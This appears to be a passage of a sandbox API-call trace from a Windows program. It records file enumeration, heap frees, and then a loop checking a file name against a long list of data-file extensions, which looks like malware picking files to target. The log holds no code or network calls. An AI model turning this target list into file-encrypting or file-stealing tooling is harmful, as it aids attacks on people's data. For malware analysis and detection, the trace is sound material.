lpFindFileData=0x348f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd121ea9a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd121ea9a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xc4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe", cAlternateFileName="")) returned 1 [0136.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.259] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.263] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.264] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.343] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e6aa8, Size=0x4000) returned 0x3df00b8 [0136.348] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.348] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0136.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.374] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.392] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.393] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.394] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.396] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.397] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.397] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.431] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.432] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.434] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.712] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0136.712] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.752] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.754] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.866] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x3df00b8, Size=0x8000) returned 0x3df00b8 [0136.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.869] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.870] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0136.871] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0136.873] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0137.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3de00b0 | out: hHeap=0x5a0000) returned 1 [0137.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0137.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0137.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d90088 | out: hHeap=0x5a0000) returned 1 [0137.076] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d90088 | out: hHeap=0x5a0000) returned 1 [0137.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dd00a8 | out: hHeap=0x5a0000) returned 1 [0137.267] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0137.268] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0137.324] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0137.326] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0137.332] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0137.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3da0090 | out: hHeap=0x5a0000) returned 1 [0137.333] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d90088 | out: hHeap=0x5a0000) returned 1 [0137.334] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0137.335] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0137.336] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0137.336] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d80080 | out: hHeap=0x5a0000) returned 1 [0137.346] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3dc00a0 | out: hHeap=0x5a0000) returned 1 [0138.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.116] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d20058 | out: hHeap=0x5a0000) returned 1 [0138.117] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d90088 | out: hHeap=0x5a0000) returned 1 [0138.338] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.339] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.340] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.472] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0138.629] lstrlenW (lpString="access-bridge-64.jar") returned 20 [0138.629] lstrlenW (lpString=".1cd") returned 4 [0138.629] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0138.629] lstrlenW (lpString=".3ds") returned 4 [0138.629] lstrcmpiW (lpString1=".3ds", lpString2=".jar") returned -1 [0138.629] lstrlenW (lpString=".3fr") returned 4 [0138.629] lstrcmpiW (lpString1=".3fr", lpString2=".jar") returned -1 [0138.629] lstrlenW (lpString=".3g2") returned 4 [0138.629] lstrcmpiW (lpString1=".3g2", lpString2=".jar") returned -1 [0138.629] lstrlenW (lpString=".3gp") returned 4 [0138.629] lstrcmpiW (lpString1=".3gp", lpString2=".jar") returned -1 [0138.629] lstrlenW (lpString=".7z") returned 3 [0138.629] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0138.629] lstrlenW (lpString=".accda") returned 6 [0138.629] lstrcmpiW (lpString1=".accda", lpString2="64.jar") returned -1 [0138.629] lstrlenW (lpString=".accdb") returned 6 [0138.629] lstrcmpiW (lpString1=".accdb", lpString2="64.jar") returned -1 [0138.629] lstrlenW (lpString=".accdc") returned 6 [0138.629] lstrcmpiW (lpString1=".accdc", lpString2="64.jar") returned -1 [0138.629] lstrlenW (lpString=".accde") returned 6 [0138.629] lstrcmpiW (lpString1=".accde", lpString2="64.jar") returned -1 [0138.629] lstrlenW (lpString=".accdt") returned 6 [0138.629] lstrcmpiW (lpString1=".accdt", lpString2="64.jar") returned -1 [0138.630] lstrlenW (lpString=".accdw") returned 6 [0138.630] lstrcmpiW (lpString1=".accdw", lpString2="64.jar") returned -1 [0138.630] lstrlenW (lpString=".adb") returned 4 [0138.630] lstrcmpiW (lpString1=".adb", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".adp") returned 4 [0138.630] lstrcmpiW (lpString1=".adp", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".ai") returned 3 [0138.630] lstrcmpiW (lpString1=".ai", lpString2="jar") returned -1 [0138.630] lstrlenW (lpString=".ai3") returned 4 [0138.630] lstrcmpiW (lpString1=".ai3", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".ai4") returned 4 [0138.630] lstrcmpiW (lpString1=".ai4", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".ai5") returned 4 [0138.630] lstrcmpiW (lpString1=".ai5", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".ai6") returned 4 [0138.630] lstrcmpiW (lpString1=".ai6", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".ai7") returned 4 [0138.630] lstrcmpiW (lpString1=".ai7", lpString2=".jar") returned -1 [0138.630] lstrlenW (lpString=".ai8") returned 4 [0138.630] lstrcmpiW (lpString1=".ai8", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".anim") returned 5 [0138.631] lstrcmpiW (lpString1=".anim", lpString2="4.jar") returned -1 [0138.631] lstrlenW (lpString=".arw") returned 4 [0138.631] lstrcmpiW (lpString1=".arw", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".as") returned 3 [0138.631] lstrcmpiW (lpString1=".as", lpString2="jar") returned -1 [0138.631] lstrlenW (lpString=".asa") returned 4 [0138.631] lstrcmpiW (lpString1=".asa", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".asc") returned 4 [0138.631] lstrcmpiW (lpString1=".asc", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".ascx") returned 5 [0138.631] lstrcmpiW (lpString1=".ascx", lpString2="4.jar") returned -1 [0138.631] lstrlenW (lpString=".asm") returned 4 [0138.631] lstrcmpiW (lpString1=".asm", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".asmx") returned 5 [0138.631] lstrcmpiW (lpString1=".asmx", lpString2="4.jar") returned -1 [0138.631] lstrlenW (lpString=".asp") returned 4 [0138.631] lstrcmpiW (lpString1=".asp", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".aspx") returned 5 [0138.631] lstrcmpiW (lpString1=".aspx", lpString2="4.jar") returned -1 [0138.631] lstrlenW (lpString=".asr") returned 4 [0138.631] lstrcmpiW (lpString1=".asr", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".asx") returned 4 [0138.631] lstrcmpiW (lpString1=".asx", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".avi") returned 4 [0138.631] lstrcmpiW (lpString1=".avi", lpString2=".jar") returned -1 [0138.631] lstrlenW (lpString=".avs") returned 4 [0138.631] lstrcmpiW (lpString1=".avs", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".backup") returned 7 [0138.632] lstrcmpiW (lpString1=".backup", lpString2="-64.jar") returned -1 [0138.632] lstrlenW (lpString=".bak") returned 4 [0138.632] lstrcmpiW (lpString1=".bak", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".bay") returned 4 [0138.632] lstrcmpiW (lpString1=".bay", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".bd") returned 3 [0138.632] lstrcmpiW (lpString1=".bd", lpString2="jar") returned -1 [0138.632] lstrlenW (lpString=".bin") returned 4 [0138.632] lstrcmpiW (lpString1=".bin", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".bmp") returned 4 [0138.632] lstrcmpiW (lpString1=".bmp", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".bz2") returned 4 [0138.632] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".c") returned 2 [0138.632] lstrcmpiW (lpString1=".c", lpString2="ar") returned -1 [0138.632] lstrlenW (lpString=".cdr") returned 4 [0138.632] lstrcmpiW (lpString1=".cdr", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".cer") returned 4 [0138.632] lstrcmpiW (lpString1=".cer", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".cf") returned 3 [0138.632] lstrcmpiW (lpString1=".cf", lpString2="jar") returned -1 [0138.632] lstrlenW (lpString=".cfc") returned 4 [0138.632] lstrcmpiW (lpString1=".cfc", lpString2=".jar") returned -1 [0138.632] lstrlenW (lpString=".cfm") returned 4 [0138.633] lstrcmpiW (lpString1=".cfm", lpString2=".jar") returned -1 [0138.633] lstrlenW (lpString=".cfml") returned 5 [0138.633] lstrcmpiW (lpString1=".cfml", lpString2="4.jar") returned -1 [0138.633] lstrlenW (lpString=".cfu") returned 4 [0138.633] lstrcmpiW (lpString1=".cfu", lpString2=".jar") returned -1 [0138.633] lstrlenW (lpString=".chm") returned 4 [0138.633] lstrcmpiW (lpString1=".chm", lpString2=".jar") returned -1 [0138.633] lstrlenW (lpString=".cin") returned 4 [0138.633] lstrcmpiW (lpString1=".cin", lpString2=".jar") returned -1 [0138.633] lstrlenW (lpString=".class") returned 6 [0138.633] lstrcmpiW (lpString1=".class", lpString2="64.jar") returned -1 [0138.633] lstrlenW (lpString=".clx") returned 4 [0138.633] lstrcmpiW (lpString1=".clx", lpString2=".jar") returned -1 [0138.633] lstrlenW (lpString=".config") returned 7 [0138.633] lstrcmpiW (lpString1=".config", lpString2="-64.jar") returned -1 [0138.633] lstrlenW (lpString=".cpp") returned 4 [0138.633] lstrcmpiW (lpString1=".cpp", lpString2=".jar") returned -1 [0138.633] lstrlenW (lpString=".cr2") returned 4 [0138.633] lstrcmpiW (lpString1=".cr2", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".crt") returned 4 [0138.634] lstrcmpiW (lpString1=".crt", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".crw") returned 4 [0138.634] lstrcmpiW (lpString1=".crw", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".cs") returned 3 [0138.634] lstrcmpiW (lpString1=".cs", lpString2="jar") returned -1 [0138.634] lstrlenW (lpString=".css") returned 4 [0138.634] lstrcmpiW (lpString1=".css", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".csv") returned 4 [0138.634] lstrcmpiW (lpString1=".csv", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".cub") returned 4 [0138.634] lstrcmpiW (lpString1=".cub", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".dae") returned 4 [0138.634] lstrcmpiW (lpString1=".dae", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".dat") returned 4 [0138.634] lstrcmpiW (lpString1=".dat", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".db") returned 3 [0138.634] lstrcmpiW (lpString1=".db", lpString2="jar") returned -1 [0138.634] lstrlenW (lpString=".dbf") returned 4 [0138.634] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".dbx") returned 4 [0138.634] lstrcmpiW (lpString1=".dbx", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".dc3") returned 4 [0138.634] lstrcmpiW (lpString1=".dc3", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".dcm") returned 4 [0138.634] lstrcmpiW (lpString1=".dcm", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".dcr") returned 4 [0138.634] lstrcmpiW (lpString1=".dcr", lpString2=".jar") returned -1 [0138.634] lstrlenW (lpString=".der") returned 4 [0138.635] lstrcmpiW (lpString1=".der", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".dib") returned 4 [0138.635] lstrcmpiW (lpString1=".dib", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".dic") returned 4 [0138.635] lstrcmpiW (lpString1=".dic", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".dif") returned 4 [0138.635] lstrcmpiW (lpString1=".dif", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".divx") returned 5 [0138.635] lstrcmpiW (lpString1=".divx", lpString2="4.jar") returned -1 [0138.635] lstrlenW (lpString=".djvu") returned 5 [0138.635] lstrcmpiW (lpString1=".djvu", lpString2="4.jar") returned -1 [0138.635] lstrlenW (lpString=".dng") returned 4 [0138.635] lstrcmpiW (lpString1=".dng", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".doc") returned 4 [0138.635] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".docm") returned 5 [0138.635] lstrcmpiW (lpString1=".docm", lpString2="4.jar") returned -1 [0138.635] lstrlenW (lpString=".docx") returned 5 [0138.635] lstrcmpiW (lpString1=".docx", lpString2="4.jar") returned -1 [0138.635] lstrlenW (lpString=".dot") returned 4 [0138.635] lstrcmpiW (lpString1=".dot", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".dotm") returned 5 [0138.635] lstrcmpiW (lpString1=".dotm", lpString2="4.jar") returned -1 [0138.635] lstrlenW (lpString=".dotx") returned 5 [0138.635] lstrcmpiW (lpString1=".dotx", lpString2="4.jar") returned -1 [0138.635] lstrlenW (lpString=".dpx") returned 4 [0138.635] lstrcmpiW (lpString1=".dpx", lpString2=".jar") returned -1 [0138.635] lstrlenW (lpString=".dqy") returned 4 [0138.635] lstrcmpiW (lpString1=".dqy", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".dsn") returned 4 [0138.636] lstrcmpiW (lpString1=".dsn", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".dt") returned 3 [0138.636] lstrcmpiW (lpString1=".dt", lpString2="jar") returned -1 [0138.636] lstrlenW (lpString=".dtd") returned 4 [0138.636] lstrcmpiW (lpString1=".dtd", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".dwg") returned 4 [0138.636] lstrcmpiW (lpString1=".dwg", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".dwt") returned 4 [0138.636] lstrcmpiW (lpString1=".dwt", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".dx") returned 3 [0138.636] lstrcmpiW (lpString1=".dx", lpString2="jar") returned -1 [0138.636] lstrlenW (lpString=".dxf") returned 4 [0138.636] lstrcmpiW (lpString1=".dxf", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".edml") returned 5 [0138.636] lstrcmpiW (lpString1=".edml", lpString2="4.jar") returned -1 [0138.636] lstrlenW (lpString=".efd") returned 4 [0138.636] lstrcmpiW (lpString1=".efd", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".elf") returned 4 [0138.636] lstrcmpiW (lpString1=".elf", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".emf") returned 4 [0138.636] lstrcmpiW (lpString1=".emf", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".emz") returned 4 [0138.636] lstrcmpiW (lpString1=".emz", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".epf") returned 4 [0138.636] lstrcmpiW (lpString1=".epf", lpString2=".jar") returned -1 [0138.636] lstrlenW (lpString=".eps") returned 4 [0138.636] lstrcmpiW (lpString1=".eps", lpString2=".jar") returned -1 [0138.637] lstrlenW (lpString=".epsf") returned 5 [0138.637] lstrcmpiW (lpString1=".epsf", lpString2="4.jar") returned -1 [0138.637] lstrlenW (lpString=".epsp") returned 5 [0138.637] lstrcmpiW (lpString1=".epsp", lpString2="4.jar") returned -1 [0138.637] lstrlenW (lpString=".erf") returned 4 [0138.637] lstrcmpiW (lpString1=".erf", lpString2=".jar") returned -1 [0138.637] lstrlenW (lpString=".exr") returned 4 [0138.637] lstrcmpiW (lpString1=".exr", lpString2=".jar") returned -1 [0138.637] lstrlenW (lpString=".f4v") returned 4 [0138.637] lstrcmpiW (lpString1=".f4v", lpString2=".jar") returned -1 [0138.637] lstrlenW (lpString=".fido") returned 5 [0138.637] lstrcmpiW (lpString1=".fido", lpString2="4.jar") returned -1 [0138.637] lstrlenW (lpString=".flm") returned 4 [0138.637] lstrcmpiW (lpString1=".flm", lpString2=".jar") returned -1 [0138.637] lstrlenW (lpString=".flv") returned 4 [0138.637] lstrcmpiW (lpString1=".flv", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".frm") returned 4 [0138.638] lstrcmpiW (lpString1=".frm", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".fxg") returned 4 [0138.638] lstrcmpiW (lpString1=".fxg", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".geo") returned 4 [0138.638] lstrcmpiW (lpString1=".geo", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".gif") returned 4 [0138.638] lstrcmpiW (lpString1=".gif", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".grs") returned 4 [0138.638] lstrcmpiW (lpString1=".grs", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".gz") returned 3 [0138.638] lstrcmpiW (lpString1=".gz", lpString2="jar") returned -1 [0138.638] lstrlenW (lpString=".h") returned 2 [0138.638] lstrcmpiW (lpString1=".h", lpString2="ar") returned -1 [0138.638] lstrlenW (lpString=".hdr") returned 4 [0138.638] lstrcmpiW (lpString1=".hdr", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".hpp") returned 4 [0138.638] lstrcmpiW (lpString1=".hpp", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".hta") returned 4 [0138.638] lstrcmpiW (lpString1=".hta", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".htc") returned 4 [0138.638] lstrcmpiW (lpString1=".htc", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".htm") returned 4 [0138.638] lstrcmpiW (lpString1=".htm", lpString2=".jar") returned -1 [0138.638] lstrlenW (lpString=".html") returned 5 [0138.639] lstrcmpiW (lpString1=".html", lpString2="4.jar") returned -1 [0138.639] lstrlenW (lpString=".icb") returned 4 [0138.639] lstrcmpiW (lpString1=".icb", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".ics") returned 4 [0138.639] lstrcmpiW (lpString1=".ics", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".iff") returned 4 [0138.639] lstrcmpiW (lpString1=".iff", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".inc") returned 4 [0138.639] lstrcmpiW (lpString1=".inc", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".indd") returned 5 [0138.639] lstrcmpiW (lpString1=".indd", lpString2="4.jar") returned -1 [0138.639] lstrlenW (lpString=".ini") returned 4 [0138.639] lstrcmpiW (lpString1=".ini", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".iqy") returned 4 [0138.639] lstrcmpiW (lpString1=".iqy", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".j2c") returned 4 [0138.639] lstrcmpiW (lpString1=".j2c", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".j2k") returned 4 [0138.639] lstrcmpiW (lpString1=".j2k", lpString2=".jar") returned -1 [0138.639] lstrlenW (lpString=".java") returned 5 [0138.639] lstrcmpiW (lpString1=".java", lpString2="4.jar") returned -1 [0138.639] lstrlenW (lpString=".jp2") returned 4 [0138.639] lstrcmpiW (lpString1=".jp2", lpString2=".jar") returned 1 [0138.639] lstrlenW (lpString=".jpc") returned 4 [0138.639] lstrcmpiW (lpString1=".jpc", lpString2=".jar") returned 1 [0138.639] lstrlenW (lpString=".jpe") returned 4 [0138.639] lstrcmpiW (lpString1=".jpe", lpString2=".jar") returned 1 [0138.639] lstrlenW (lpString=".jpeg") returned 5 [0138.639] lstrcmpiW (lpString1=".jpeg", lpString2="4.jar") returned -1 [0138.640] lstrlenW (lpString=".jpf") returned 4 [0138.640] lstrcmpiW (lpString1=".jpf", lpString2=".jar") returned 1 [0138.640] lstrlenW (lpString=".jpg") returned 4 [0138.640] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0138.640] lstrlenW (lpString=".jpx") returned 4 [0138.640] lstrcmpiW (lpString1=".jpx", lpString2=".jar") returned 1 [0138.640] lstrlenW (lpString=".js") returned 3 [0138.640] lstrcmpiW (lpString1=".js", lpString2="jar") returned -1 [0138.641] lstrlenW (lpString=".jsf") returned 4 [0138.641] lstrcmpiW (lpString1=".jsf", lpString2=".jar") returned 1 [0138.641] lstrlenW 